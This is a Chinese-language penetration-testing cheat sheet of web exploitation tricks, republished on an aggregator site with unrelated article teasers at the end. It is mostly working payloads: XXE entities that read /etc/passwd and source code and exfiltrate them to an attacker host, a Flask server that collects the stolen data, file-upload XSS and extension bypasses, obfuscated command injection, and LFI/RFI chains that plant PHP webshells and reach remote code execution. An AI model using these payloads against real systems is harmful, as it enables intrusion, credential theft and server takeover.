渗透测试--Web基础漏洞利用技巧

 渗透测试--Web基础漏洞利用技巧

        本文章写了Web基础漏洞中一些不那么常见的利用技巧,而不谈及漏洞的原理以及常见用法。

SQL

        俺是SQLmap党,哈哈,所以这块就不多讲了。详情可见文章《渗透测试--SQLmap_渗透测试sqlmap-CSDN博客》

XXE

XXE组成情况

钥匙定义例子
TagXML 文档的键,通常用 ( <>) 字符括起来。<date>
EntityXML 变量,通常用 ( &;) 字符括起来。&lt;
Element根元素或其任何子元素,其值存储在开始标记和结束标记之间。<date>01-01-2022</date>
Attribute存储在标签中的任何元素的可选规范,可供 XML 解析器使用。version="1.0"/encoding="UTF-8"
Declaration通常是 XML 文档的第一行,定义解析时使用的 XML 版本和编码。<?xml version="1.0" encoding="UTF-8"?>

XXE回显点

输入的xml中会回显的内容

报错位置可能存在回显点

<!ENTITY % file SYSTEM "file:///flag.php">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

服务器外带

#远程DTD文件
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">#XXE攻击交互
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">%remote;%oob;
]>
<root>&content;</root>
###外带python搭建服务器,个人使用,不喜勿喷
###解码后的文件存储于服务器中,传输成功显示404。
from flask import Flask, request, jsonify
import base64
import os
import uuid
from datetime import datetimeapp = Flask(__name__)# 定义存储文件的目录
SAVE_DIRECTORY = 'decoded_files'# 如果目录不存在,则创建目录
if not os.path.exists(SAVE_DIRECTORY):os.makedirs(SAVE_DIRECTORY)@app.route('/decode', methods=['GET'])
def decode_content():content = request.args.get('content')if content:try:# Base64 解码decoded_content = base64.b64decode(content).decode('utf-8')# 生成唯一文件名file_name = f"{datetime.now().strftime('%Y%m%d_%H%M%S')}_{str(uuid.uuid4())}.txt"file_path = os.path.join(SAVE_DIRECTORY, file_name)# 将解码后的内容写入文件with open(file_path, 'w', encoding='utf-8') as f:f.write(decoded_content)return jsonify({'status': 'Notfound','message': '404'})except Exception as e:return jsonify({'status': 'error','message': f"Error decoding base64 content: {str(e)}"})else:return jsonify({'status': 'error','message': "No 'content' parameter found in the request."})if __name__ == '__main__':app.run(debug=True, host='0.0.0.0', port=5000)

XXE导致任意文件读取

#无害实体
<!DOCTYPE email [<!ENTITY company "Inlane Freight">
]>#文件泄露
<!DOCTYPE email [<!ENTITY company SYSTEM "file:///etc/passwd">
]>#源代码获取
<!DOCTYPE email [<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>#输出文件内容不以XML格式生成
<!DOCTYPE email [<!ENTITY % begin "<![CDATA["><!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!ENTITY % end "]]>"> <!ENTITY % xxe SYSTEM "http://10.10.16.20/xxe.dtd"> %xxe;
]>#引用实体
&company;

XXE导致SSRF

XXE导致RCE

#RCE
<!DOCTYPE email [<!ENTITY company SYSTEM "php://expect:">
]>

XXE自动化工具

https://github.com/enjoiz/XXEinjector

XSS

        基本的绕过手段都在网上可查

文件上传

文件上传木马文件

        老生常谈了,基本的文件上传利用,在此不做赘述,我知道你们喜欢更有意思的

文件上传导致XSS

        如果上传文件的内容在HTLM当中存在回显,我们应当十分注意,这可能造成XSS。造成XSS主要有以下情况:

1.接受文件接受HTLM的文档,有时候开发人员会犯一点小错误,也就是说,HTML会解析JS

2.接受文件内容以未编码形式展示在HTLM页面中,那么我们可以送他们一个<>来闭合他们的标签

3.接受文件名可能会回显,例如我们好心的开发人员会再次念出我们文件的名字。

接受文件接受HTLM的文档 

###上传文件HTML#发送HTML页面代码
<body><div>Hey Guys!</div>
<script>alert("You are pWn3d!")</script>
</body>#服务器端接受并解析HTLM文件
<body><div>Hey Guys!</div>
<script>alert("You are pWn3d!")</script>
</body>

接受文件内容以未编码形式展示在HTLM页面中 

###接受文件内容未编码情况嵌入HTML中
#上传文件
filename="evil.jpg"
content='''><img src=1 onerror=alert(1)
'''#接受未编码jpg文件的内容直接放出来
<body><img><img src=1 onerror=alert(1)>
<body>

 接受文件名可能会回显

###接受文件名回显
#上传文件
filename="<script>alert(1)</script>.txt"#上传成功页面
<body><p> 恭喜你上传成功<script>alert(1)<script>.txt文件! </p>
<body>

文件上传导致XXE

        svg文件的上传点可能导致XXE问题,因为svg文件本身是以xml解析的,如果没有很好的控制,XXE就会冒头。

###svg文件上传导致XXE
#上传文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>#svg文件被接受并作为头像
很好他死了!

 文件上传绕过黑名单

枚举可扩展名,总有一款适合他

文件上传绕过白名单

双扩展

反向双扩展

字符注入

双扩展

#只接受.jpg
.php.jpg

反向双扩展

#只接受.jpg
.jpg.php

字符注入

#只接受.jpg
.jpg{char}.phpchar = [
'%00',
'%0a',
'%20',
'%0d0a',
'.\',
'/',
'.',
'...',
':'
]

寻找文件上传位置

        上传了宝贝,这种好事儿总不能让服务器一个人独享,我们必须找到他。

过长文件名让应用报错

发送已经存在的文件

在页面中查看图片的引用位置

命令注入

        命令注入是我们非常期望的东西了,因为他可以直接造成RCE,这很严重。自然这种攻击的防护也就最为众多。我们需要总结出一套绕过他们的手段。

命令注入可以注入的操作字符

注入操作符注塑件URL 编码字符执行的命令
分号;%3b两个都
新线\n%0a两个都
背景&%26两者(第二个输出通常首先显示)
管道|%7c两者(仅显示第二个输出)
&&%26%26两者(仅当第一个成功时)
或者||%7c%7c第二(仅当第一失败时)
子壳``%60%60两者(仅限 Linux)
子壳$()%24%28%29两者(仅限 Linux)
注射类型运算符
SQL 注入' , ; -- /* */
命令注入; &&
LDAP 注入* ( ) & |
XPath 注入' or and not substring concat count
操作系统命令注入; & |
代码注入' ; -- /* */ $() ${} #{} %{} ^
目录遍历/文件路径遍历../ ..\\ %00
对象注入; & |
XQuery 注入' ; -- /* */
Shellcode 注入\x \u %u %n
标头注入\n \r\n \t %0d %0a %09

黑名单绕过之字符替换

%09        空格替代${IFS}         制表符和空格{ls,-al}        等于"ls -al",可用于替代空格${PATH:0:1}        等于/        该方法的原理是使用了Linux中的环境变量和字符串切割${LS_COLORS:10:1}        等于;        该方法的原理是使用了Linux中的环境变量和字符串切割$env:HOMEPATH[0]        等于/        该方法的原理是使用了Win中的环境变量和字符串切割$env:PROGRAMFILES[10]        等于空格        该方法的原理是使用了Win中的环境变量和字符串切割'    等于空气    bash语言会无视它,who'am'i"    等于空气    bash语言会无视它    $@    等于空气     bash语言会无视它    \    等于空气     bash语言会无视它    WhAMi    大小写大法!    仅适用于Windows

 使用案例

#base64编码
echo -n 'cat /etc/passwd | grep 33' | base64#Linux
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")
$(rev<<<'imaohw')
$('imaohw'[-1..-20] -join '')
$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)   ##实际尝试发现这种情况下不能编码空格
`{base64,-d}<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==`    ##这种方式可以编码空格#Windows
$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))

自动化工具Bashfuscator

Linux - 我们可以利用Bashfuscator
Windows - DOSfuscation

LFI

可能发生包含的语言

PHP

NodeJS

Java

.net

data协议包含执行导致RCE

cmundy2@htb[/htb]$ curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uiduid=33(www-data) gid=33(www-data) groups=33(www-data)

php伪协议包含执行导致RCE

cmundy2@htb[/htb]$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uiduid=33(www-data) gid=33(www-data) groups=33(www-data)

expect函数执行URL流导致RCE 

##在后端服务器安装expect#检验是否暗装expect
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expectextension=expect#若开启该插件,那么就可以RCE而不需要webshell
cmundy2@htb[/htb]$ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RFI从远程FTP服务器执行文件导致RCE

cmundy2@htb[/htb]$ curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
...SNIP...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RFI从远程HTTP服务器执行文件导致RCE

http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

RFI从远程SMB服务器执行文件导致RCE

http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami

LFI包含任意扩展名文件

        不论是本地的还是远程的皆有可能,=3=


###gif包含
cmundy2@htb[/htb]$ echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id###PHP包含
cmundy2@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id###phar包含
cat shell.php<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');$phar->stopBuffering();#构造phar文件
cmundy2@htb[/htb]$ php --define phar.readonly=0 shell.php && mv shell.phar shell.jpghttp://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

向日志投毒然后使用LFI包含日志导致RCE

#修改Agent 将php代码写入日志当中#然后爆破日志位置#根据日志位置包含日志,执行php脚本
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log#这些都可以
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
/proc/self/environ
/proc/self/fd/N

自动化手段

最常见的 LFI 工具是LFISuite、LFiFreak和liffy

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/66280.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Jmeter进阶篇(32)Jmeter 在 MySQL 数据库压测中的应用

一、引言 在当今数字化时代,数据库性能的优化对于企业的发展至关重要。随着业务量的不断增长,数据库需要承受越来越大的压力。MySQL作为一种广泛使用的开源数据库,其性能和稳定性备受关注。为了确保数据库在高负载情况下能够正常运行,进行压测是必不可少的环节。Jmeter作为…

【git】git stash相关指令

目录 git stashgit stash save “”git stash list&#xff1a; 获取stash列表git stash pop&#xff1a;恢复最近一次stash缓存git stash apply stash{index}: 恢复指定缓存在这里插入图片描述git stash drop stash{1}&#xff1a;删除指定缓存 git stash clear :删除stash gi…

Linux 基础 6.进程

文章目录 6.1 进程和程序1. **程序 (Program)**2. **进程 (Process)**3. **程序与进程的区别**4. **进程的创建与执行**5. **总结** 6.2 进程号和父进程号1. **进程号 (PID)**2. **进程号的分配**3. **父进程号 (PPID)**4. **进程树结构**5. **进程号的限制与调整**6. **总结**…

Go语言的 的泛型(Generics)核心知识

Go语言的泛型&#xff08;Generics&#xff09;核心知识 引言 在编程语言的发展历程中&#xff0c;泛型是一项重要的特性。它使得程序员能够编写更加灵活和可重用的代码&#xff0c;减少了代码重复&#xff0c;提高了类型安全性和性能。从最初的C和Java&#xff0c;到现代的R…

用公网服务代理到本地电脑笔记

参考&#xff1a; 利用frp 穿透到内网的http/https网站&#xff0c;实现对外开放&#xff08;这篇博客有点老&#xff0c;需要改动&#xff0c;不能照抄&#xff09;&#xff1a;https://www.cnblogs.com/hahaha111122222/p/8509150.html frp内网穿透(windows和服务器)&#xf…

uni-app:实现普通选择器,时间选择器,日期选择器,多列选择器

效果 选择前效果 1、时间选择器 2、日期选择器 3、普通选择器 4、多列选择器 选择后效果 代码 <template><!-- 时间选择器 --><view class"line"><view classitem1><view classleft>时间</view><view class"right&quo…

Java接口中的默认方法(Default Methods)

前言 在Java 8发布之后&#xff0c;接口的功能得到了显著增强&#xff0c;其中最引人注目的特性之一就是默认方法。默认方法允许接口提供带有实现的方法&#xff0c;这不仅不会破坏现有代码的兼容性&#xff0c;还能为所有实现了该接口的类直接提供新功能。 默认方法的基础知…

GAN对抗生成网络(二)——算法及Python实现

1 算法步骤 上一篇提到的GAN的最优化问题是&#xff0c;本文记录如何求解这一问题。 首先为了表示方便&#xff0c;记&#xff0c;这里让最大的可视作常量。 第一步&#xff0c;给定初始的&#xff0c;使用梯度上升找到 ,最大化。关于梯度下降&#xff0c;可以参考笔者另一篇…

[读书日志]从零开始学习Chisel 第二篇:Scala的变量与函数(敏捷硬件开发语言Chisel与数字系统设计)

第一篇https://blog.csdn.net/m0_74021449/article/details/144887921 2.2 Scala的变量及函数 2.2.1变量定义与基本类型 变量声明 变量首次定义必须使用关键字var或者val&#xff0c;二者的区别是val修饰的变量禁止被重新赋值&#xff0c;它是一个只读的变量。首次定义变量时…

Spring Boot - 日志功能深度解析与实践指南

文章目录 概述1. Spring Boot 日志功能概述2. 默认日志框架&#xff1a;LogbackLogback 的核心组件Logback 的配置文件 3. 日志级别及其配置配置日志级别3.1 配置文件3.2 环境变量3.3 命令行参数 4. 日志格式自定义自定义日志格式 5. 日志文件输出6. 日志归档与清理7. 自定义日…

NVIDIA DLI课程《NVIDIA NIM入门》——学习笔记

先看老师给的资料&#xff1a; NVIDIA NIM是 NVIDIA AI Enterprise 的一部分&#xff0c;是一套易于使用的预构建容器工具&#xff0c;目的是帮助企业客户在云、数据中心和工作站上安全、可靠地部署高性能的 AI 模型推理。这些预构建的容器支持从开源社区模型到 NVIDIA AI 基础…

JOIN 和 OUTER JOIN,SQL中常见的连接方式

1. INNER JOIN&#xff08;简称 JOIN&#xff09; INNER JOIN 是 SQL 中最常用的一种连接方式&#xff0c;默认的 JOIN 就是 INNER JOIN。它返回两个表中满足连接条件的匹配记录。 作用&#xff1a;返回两个表中所有满足 ON 条件的记录。特性&#xff1a;如果表中的某些行在连…

【HF设计模式】05-单例模式

声明&#xff1a;仅为个人学习总结&#xff0c;还请批判性查看&#xff0c;如有不同观点&#xff0c;欢迎交流。 摘要 《Head First设计模式》第5章笔记&#xff1a;结合示例应用和代码&#xff0c;介绍单例模式&#xff0c;包括遇到的问题、采用的解决方案、以及达到的效果。…

【FlutterDart】页面切换 PageView PageController(9 /100)

上效果&#xff1a; 有些不能理解官方例子里的动画为什么没有效果&#xff0c;有可能是我写法不对 后续如果有动画效果修复了&#xff0c;再更新这篇&#xff0c;没有动画效果&#xff0c;总觉得感受的丝滑效果差了很多 上代码&#xff1a; import package:flutter/material.…

Electron快速入门——跨平台桌面端应用开发框架

个人简介 &#x1f440;个人主页&#xff1a; 前端杂货铺 &#x1f64b;‍♂️学习方向&#xff1a; 主攻前端方向&#xff0c;正逐渐往全干发展 &#x1f4c3;个人状态&#xff1a; 研发工程师&#xff0c;现效力于中国工业软件事业 &#x1f680;人生格言&#xff1a; 积跬步…

Android NDK开发实战之环境搭建篇(so库,Gemini ai)

文章流程 音视频安卓开发首先涉及到ffmpeg编译打包动态库&#xff0c;先了解动态库之间的cpu架构差异性。然后再搭建可运行的Android 环境。 So库适配 ⽇常开发我们经常会使⽤到第三库&#xff0c;涉及到底层的语⾳&#xff0c;视频等都需要添加so库。⽽so库的体积⼀般来说 ⾮…

【Java回顾】Day2 正则表达式----异常处理

参考资料&#xff1a;菜鸟教程 https://www.runoob.com/java/java-exceptions.html 正则表达式 有一部分没看完 介绍 字符串的模式搜索、编辑或处理文本java.util.regex包&#xff0c;包含了pattern和mathcer类&#xff0c;用于处理正则表达式的匹配操作。 捕获组 把多个字符…

Unity性能优化总结

目录 前言 移动端常见性能优化指标​编辑 包体大小优化 FPS CPU占用率 GPU占用率 内存 发热和耗电量 流量优化 前言 终于有时间了&#xff0c;我将在最近两个项目中进行优化的一些经验进行归纳总结以飨读者。因为我习惯用思维导图&#xff0c;所以归纳的内容主要以图来…

FTP上传下传、SFTP上传下传、进度监控、断点续传、连接池封装JAVA一网打尽(二)FTP高级篇【2/5】

一、摘要&#xff08;本系列汇总说明&#xff09; - 总纲 FTP、SFTP上传下传、进度监控、断点续传、连接池封装JAVA一网打尽&#xff08;一&#xff09;FTP、SFTP上传下传、进度监控、断点续传、连接池封装JAVA一网打尽&#xff08;二&#xff09;FTP、SFTP上传下传、进度监控…

北京航空航天大学惊现技术商业“宫斗剧”!背后隐藏的内幕遭曝光!

北京航空航天大学&#xff08;以下称北航&#xff09;与源亿&#xff08;北京&#xff09;网络科技有限公司&#xff08;以下称源亿&#xff09;的派驻的员工恶意串通&#xff0c;指定北京蚂蚁非标科技有限公司&#xff08;以下称蚂蚁公司&#xff09;挖走源亿公司在现场派驻的…